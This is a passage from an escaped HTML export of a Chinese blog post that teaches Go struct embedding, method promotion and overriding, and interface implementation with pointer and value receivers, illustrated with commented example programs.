class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 重新实现 Admin 类型的 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ad *Admin)\u003c/span\u003e\u003c/span\u003e Call() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;Call admin %s\u0026lt;%s\u0026gt;\u0026#34;\u003c/span\u003e, ad.name, ad.phone)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定义一个接口 notifier,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 接口需要实现一个 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e notifier \u003cspan class=\"keyword\"\u003einterface\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e notify()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 给 user 实现 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(u *user)\u003c/span\u003e\u003c/span\u003e notify() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;Sending a message to user %s\u0026lt;%s\u0026gt;\u0026#34;\u003c/span\u003e, u.name, u.phone)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定义一个函数 sendNotification\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 函数接收一个实现了 notifier 接口的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 然后调用参数的 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003esendNotification\u003c/span\u003e\u003cspan class=\"params\"\u003e(n notifier)\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n.notify()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 给 Admin 实现 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ad *Admin)\u003c/span\u003e\u003c/span\u003e notify() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;Sending a message to ADMIN %s\u0026lt;%s\u0026gt;\u0026#34;\u003c/span\u003e, ad.name, ad.phone)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 声明并初始化 Admin 类型的变量 ad\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad := Admin{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user: user{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name: \u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone: \u003cspan class=\"string\"\u003e\u0026#34;17688888888\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e level: \u003cspan class=\"string\"\u003e\u0026#34;super\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ad 调用 user 内部的 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.user.Call() \u003cspan class=\"comment\"\u003e// Call user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 由于内部类型的标识符提升,所以外部类型值 ad 也可以直接调用其内部类型的标识符(字段,方法,接口等)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.Call() \u003cspan class=\"comment\"\u003e// Call user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(ad.name, ad.phone) \u003cspan class=\"comment\"\u003e// Jack 17688888888\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ad 重新实现一个和内部类型 user 一样的 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 覆盖内部类型 user 提升的 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.Call() \u003cspan class=\"comment\"\u003e// Call admin Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// user 内部的 Call 方法没有变化\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.user.Call() \u003cspan class=\"comment\"\u003e// Call user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 外部类型和内部类型调用接口方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sendNotification(\u0026amp;ad) \u003cspan class=\"comment\"\u003e// Sending a message to user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.notify() \u003cspan class=\"comment\"\u003e// Sending a message to user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.user.notify() \u003cspan class=\"comment\"\u003e// Sending a message to user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 外部类型重新实现接口方法后\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sendNotification(\u0026amp;ad) \u003cspan class=\"comment\"\u003e// Sending a message to ADMIN Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.notify() \u003cspan class=\"comment\"\u003e// Sending a message to ADMIN Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.user.notify() \u003cspan class=\"comment\"\u003e// Sending a message to user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"05-类型实现接口\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#05-%E7%B1%BB%E5%9E%8B%E5%AE%9E%E7%8E%B0%E6%8E%A5%E5%8F%A3\" class=\"headerlink\" title=\"**05.**类型实现接口\"\u003e\u003c/a\u003e**05.**类型实现接口\u003c/h2\u003e\u003cp\u003eGo语言中,接口是用来定义行为的类型,这些被定义的行为不由接口直接实现,而是通过方法由用户定义的类型实现。\u003c/p\u003e\u003cp\u003e如果用户定义的类型实现了某个接口里的一组方法,那么用户定义的这个类型值,就可以赋值给该接口值,此时用户定义的类型称为实体类型。\u003c/p\u003e\u003cp\u003e而用户定义的类型想要实现一个接口,需要遵循一些规则,这些规则使用方法集来进行定义。\u003c/p\u003e\u003cp\u003e从类型实现方法的接收者角度来看,可以描述为以下表格。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e方法接收者\u003c/th\u003e\u003cth align=\"left\"\u003e类型值或类型值的指针\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e(t T)\u003c/td\u003e\u003ctd align=\"left\"\u003eT and *T\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e(t *T)\u003c/td\u003e\u003ctd align=\"left\"\u003e*T\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e表示当类型的方法为指针接收者时,只有类型值的指针,才能实现接口。\u003c/p\u003e\u003cp\u003e如果类型的方法为值接收者,那么类型值还是类型值的指针都能够实现对应的接口。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定义一个接口 notifier\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 要实现 notifier 接口必须实现 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e notifier \u003cspan class=\"keyword\"\u003einterface\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e notify()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e user \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(u *user)\u003c/span\u003e\u003c/span\u003e notify() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;Send user a text\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Admin \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e level \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 值接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ad Admin)\u003c/span\u003e\u003c/span\u003e notify() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;Send admin a message\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 多态函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003esendNotification\u003c/span\u003e\u003cspan class=\"params\"\u003e(n notifier)\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n.notify()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ---指针接收者方法的类型实现接口示例---\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u := user{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name: \u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone: \u003cspan class=\"string\"\u003e\u0026#34;17688888888\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 尝试将类型值实现接口 notifier\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 因为类型的方法是指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 使用类型值实现接口时,会编译不通过\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//var n notifier = u // Cannot use \u0026#39;u\u0026#39; (type user) as type notifier Type does not implement \u0026#39;notifier\u0026#39; as \u0026#39;notify\u0026#39; method has a pointer receiver\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 使用类型值得指针,可以正常实现接口\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e n notifier = \u0026amp;u\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n.notify() \u003cspan class=\"comment\"\u003e// Send user a text\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ---值接收者方法的类型实现接口示例---\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 实现值接收者方法的类型实现接口\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad := Admin{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user: user{\u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;17688888888\u0026#34;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e level: \u003cspan class=\"string\"\u003e\u0026#34;super\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 使用类型值实现接口,成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e n2 notifier = ad\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n2.notify() \u003cspan class=\"comment\"\u003e// Send admin a message\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 使用类型值的指针实现接口, 成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e n3 notifier = \u0026amp;ad\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n3.notify() \u003cspan class=\"comment\"\u003e// Send admin a message\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// -------多态示例--------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 接口值多态\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 因为 Admin 和 user 两个类型都实现了接口\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 而 sendNotification 函数接收一个 notifier 接口值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 然后调用接口值对应的 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 从而实现了接口值的多态\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sendNotification(n) \u003cspan class=\"comment\"\u003e// Send user a text\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sendNotification(n3) \u003cspan class=\"comment\"\u003e// Send admin a message\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/"},{"title":"Java 匹配注释的正则表达式","time":"2022-11-22T11:30:53Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e参考\u003ca 